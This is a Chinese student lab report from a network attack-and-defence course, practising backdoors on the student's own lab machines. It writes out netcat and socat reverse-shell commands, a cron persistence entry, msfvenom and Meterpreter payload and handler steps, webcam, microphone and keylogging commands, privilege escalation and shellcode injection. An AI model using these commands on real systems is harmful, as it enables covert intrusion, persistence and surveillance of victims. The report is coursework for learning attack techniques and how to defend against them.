zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175315陈煜扬《网络对抗技术》Exp2 后门原理与实践

    2019-2020-2 20175315陈煜扬《网络对抗技术》Exp2 后门原理与实践

    1 实践说明

    1.1实践内容

    (1)使用netcat获取主机操作Shell,cron启动

    (2)使用socat获取主机操作Shell, 任务计划启动

    (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

     (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告

    1.2基础知识

    • 后门概念

      • 后门就是不经过正常认证流程而访问系统的通道
    • 哪里有后门

      • 编译器留后门

      • 操作系统留后门

      • 最常见的当然还是应用程序中留后门

      • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序

    2 实践步骤

    2.1 使用netcat获取主机操作Shell,cron启动

    2.1.1 Windows获得Linux Shell

    windows中通过win+R——cmd——ipconfig查看IP地址

    关闭防火墙,windows使用ncat.exe -l -p 5315打开监听,并检查windows和linux的连通性。

    注意:这里一定要关闭防火墙,不然会影响后面的步骤

    linux使用nc 192.168.0.103 5315 -e /bin/sh反弹连接windows

    windows下获得一个linux shell,可运行任何指令,如ls

    2.1.2 Linux获得Windows Shell

    linux使用ifconfig查看IP地址

    这里遇到了一点问题,直接ifconfig指令并没有得到我们想要的结果,后来通过https://www.jianshu.com/p/5e3500243125找到了解决方法。

    linux使用nc -l -p 5315打开监听

    windows使用ncat.exe -e cmd.exe 192.168.218.128 5315反弹连接linux

    linux下看到windows的命令提示

    2.1.3 cron启动

    linux使用crontab -e并选择3进入编辑模式,在最后一行添加40 * * * * /bin/netcat 192.168.0.103 5315 -e /bin/sh,表示每个小时的第40分钟执行后面的那条指令

    linux在40分钟时连接windows,这是一个反弹连接式后门,监听的windows连接后可获得shell

    2.1.4 nc传输数据

    windows使用ncat.exe -l 5315监听端口,linux使用nc 192.168.0.103 5315反弹连接到windows的端口,连接建立成功后双方可互传输数据

    2.2 使用socat获取主机操作Shell, 任务计划启动

    2.2.1 socat

    windows打开计算机管理,在任务计划程序中创建任务

    新建操作,并在程序或脚本中选择socat.exe路径,添加参数一栏填写tcp-listen:5334 exec:cmd.exe,pty,stderr

    新建触发器,选择时间。到达时间后会自行触发

    linux使用socat - tcp:192.168.1.4:5334完成连接,获得windows shell

    2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    2.3.1 MSF meterpreter

    linux使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.218.128 LPORT=5315 -f exe > backdoor5315.exe生成后门程序

    windows使用ncat.exe -lv 5315 > backdoor5315.exe,查看连接状态

    输入msfconsole后进行如下操作:
    (1)use exploit/multi/handler,设置payload
    (2)set payload windows/meterpreter/reverse_tcp
    (3)set LHOST 192.168.218.128,设置ip
    (4)set LPORT 5315,设置端口
    (5)show options,查看选项
    (6)exploit,可以看到已经获取到了Windows的shell,可以输入dir来验证

    linux使用exploit开始监听,并在windows中运行后门程序,linux成功获得windows的shell

    2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    2.4.1 获取录音权限

    linux使用record_mic可以截取一段音频

    linux使用webcam_snap可以获取摄像头内容

    linux使用keyscan_start可以记录下击键的过程,使用keyscan_dump可以读取击键记录

    linux使用screenshot可以进行截屏

    linux使用getuid可以查看当前用户,使用getsystem可以进行提权操作

    2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    2.5.1 shellcode

    在[Exploit DataBase](https://www.exploit-db.com/shellcodes)中搜索linux/x86 - Reverse下载反弹连接的shellcode并提取其中的机器码

    注入Shellcode

    (1)在第一个终端里关闭地址随机化,输入echo "0" > /proc/sys/kernel/randomize_va_space
    (2)在第一个终端中运行pwn1之后不回车

    (3)在第二个终端中输入ps -ef | grep pwn1查看pwn1的进程号2394

    (4)用GDB追踪该进程,找到栈顶(esp)中存放的地址为0xffffd37c,计算出shellcode地址就是 0xffffd37c+4,即0xffffd380。
    ①在第二个终端启动gdb
    ②输入attach 2394启动gdb调试这个进程。
    ③输入disassemble foo查看到ret的地址为0x080484ae。
    ④输入break *0x080484ae0x080484ae处设置断点。
    ⑤在之前的终端中按一下回车,然后在调试的终端中输入c继续运行。
    ⑥输入info r esp查看栈顶指针所在的位置,并查看改地址存放的数据:

     (5)在第一个终端中中断pwn1运行
    (6)在第二个终端中注入input_shellcode:

    在第一个终端中打开msf(msfconsole)控制台,依次输入:

    (1)use exploit/multi/handler,设置payload
    (2)set payload linux/x86/shell_reverse_tcp
    (3)set LHOST 127.0.0.1,设置ip
    (4)set LPORT 4444,设置端口
    (5)show options,查看选项
    (6)exploit ,设置完成,开始监听

    运行shellcode
    在第二个终端输入(cat input_shellcode;cat) | ./pwn1运行pwn1文件,在第一个终端中可以看到已经成功调取了shell

    3 问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

    从非正规途径下载了某个程序,U盘携带,恶意网站等等

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

    linux:定时启动   windows:修改注册表

    (3)Meterpreter有哪些给你印象深刻的功能?

    可以读取麦克风 摄像头等,当时拍下了我在镜头前的照片真的挺让人惊讶的。

    (4)如何发现自己有系统有没有被安装后门?

    经常杀毒,使用杀毒软件,并查看注册表和任务管理器,看看有没有异常进程。

    4 实验中遇到的问题

    (1)Linux中输入ifconfig显示未找到命令

    https://www.jianshu.com/p/5e3500243125通过该网站解决了问题。

    (2)在加分任务的时候发现最后监听不到。

    自己操作不规范,导致当时的地址找错了,本来是ffffd37c,之前找错了一直以为是ffffd390?

    5 实验心得与体会

    本次实验较为简单,问题也不多,这些通过学长学姐的博客以及询问同学都能够得到解决。但是本次实验却非常有意思而且带给我的感触也是非常深刻的。让我感受到了后门的隐患以及危害,获得信息的手段多样而且对于那些攻击者来说可以说是轻而易举。所以电脑管家和杀毒软件还是非常必要的,虽说不能百分百保证安全,但就像人的免疫系统一样不可缺少!

  • 相关阅读:
    (error) DENIED Redis is running in protected mode because protected mode is enabled
    boost库安装和使用
    linux下Redis以及c++操作
    Redis 客户端安装与远程连接图解
    Redis 安装和配置
    terminate called after throwing an instance of 'std::out_of_range' what(): basic_string::substr
    C++ STL std::wstring_convert处理UTF8
    C++正确的cin输入
    分词之最短编辑距离算法实现(包括中文)
    unicode和utf-8互转
  • 原文地址:https://www.cnblogs.com/cyygxy/p/12519402.html
Copyright © 2011-2022 走看看